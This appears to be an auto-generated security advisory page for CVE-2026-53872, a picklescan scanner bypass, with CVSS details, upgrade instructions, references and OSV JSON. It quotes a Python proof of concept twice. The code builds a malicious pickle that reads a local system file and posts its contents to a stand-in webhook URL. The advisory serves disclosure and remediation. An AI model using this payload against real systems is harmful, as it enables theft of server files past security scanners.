CVE-2026-53872: Picklescan Picklescan Has Arbitrary File Read Vulnerability

HIGH
Advisory Identifier: GHSA-9726-w42j-3qjr
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CVSS 7.5
CWE-918 CWE-22
Published
Advisory Summary

CVE-2026-53872 is a HIGH (CVSS 7.5) picklescan has arbitrary file read vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Picklescan libraries in the PyPI ecosystem. The issue involves picklescan has arbitrary file read using `io.fileio`. Remediation is available by upgrading affected packages to version 0.0.35.

CVE-2026-53872 at a Glance

CVE Identifier CVE-2026-53872
GHSA Identifier GHSA-9726-w42j-3qjr
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-918: Server-Side Request Forgery (SSRF)
Affected Product Picklescan
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-53872

To remediate this vulnerability, upgrade all affected Picklescan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

picklescan fixed: 0.0.35 
pip install picklescan>=0.0.35
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show picklescan

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-53872, inspect your installed packages using pip:

pip show picklescan

Analyze the terminal output to locate any version of Picklescan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.35), your application is affected.

Note: The pip show picklescan command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Picklescan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server. ### Details The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features: 1. io.FileIO: Opens local files without using builtins.open. 2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request. 3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling. ### PoC ```python import pickle, io, urllib.request class GetFile: def __reduce__(self): return (io.FileIO, ('/etc/hosts', 'r')) class Exfiltrate: def __reduce__(self): return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile())) with open("bypass_http.pkl", "wb") as f: pickle.dump(Exfiltrate(), f) ``` <img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" /> ### Impact - Arbitrary file read Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.

CVE-2026-53872 Affected Picklescan Versions

1 component(s)
Fixed Versions:
0.0.35
Product / Package Ecosystem Affected Versions Fixed Version
picklescan
pypi/picklescan
PyPI
< 0.0.35
0.0.35

References

GitHub Advisory / Wiki ADVISORY
https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
NVD — CVE-2026-53872 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-53872
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan/pull/55
Security Fix Commit FIX COMMIT
https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1
Picklescan Source Repository REPOSITORY
https://github.com/mmaitre314/picklescan
Picklescan Release RELEASE
https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35
www.vulncheck.com/advisories/picklesc... WEB
https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization

Frequently Asked Questions

What is CVE-2026-53872?
CVE-2026-53872 is a security vulnerability in Picklescan involving picklescan has Arbitrary file read using `io.FileIO` under CWE-918: Server-Side Request Forgery (SSRF).
Which Picklescan versions are affected?
Affected versions include releases prior to 0.0.35 across affected packages: picklescan.
What version fixes CVE-2026-53872?
Upgrading to 0.0.35 (or the latest patched release for your respective branch) resolves the vulnerability.
Is picklescan affected?
Yes, picklescan is affected in releases prior to 0.0.35. Upgrade your dependency to 0.0.35 or later.
What is the CVSS score of CVE-2026-53872?
CVE-2026-53872 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-53872?
CVE-2026-53872 is classified under CWE-918: Server-Side Request Forgery (SSRF) (The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.).
How can I check PyPI dependencies for CVE-2026-53872?
Run the dependency tree command: 'pip show picklescan'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9726-w42j-3qjr",
  "modified" : "2026-06-18T14:46:26Z",
  "published" : "2026-01-08T17:25:35Z",
  "aliases" : [ "CVE-2026-53872" ],
  "summary" : "picklescan has Arbitrary file read using `io.FileIO` ",
  "details" : "### Summary\nUnsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.\n\n### Details\nThe application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:\n\n1. io.FileIO: Opens local files without using builtins.open.\n\n2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.\n\n3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.\n\n### PoC\n\n```python\nimport pickle, io, urllib.request\n\nclass GetFile:\n    def __reduce__(self):\n        return (io.FileIO, ('/etc/hosts', 'r'))\n\nclass Exfiltrate:\n    def __reduce__(self):\n        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))\n\nwith open(\"bypass_http.pkl\", \"wb\") as f:\n    pickle.dump(Exfiltrate(), f)\n```\n\n<img width=\"650\" height=\"114\" alt=\"Screenshot 2025-12-30 at 10 13 14 PM\" src=\"https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994\" />\n\n\n### Impact\n\n- Arbitrary file read\n\nThanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.35"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-53872"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/pull/55"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-918" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-08T17:25:35Z",
    "nvd_published_at" : null
  }
}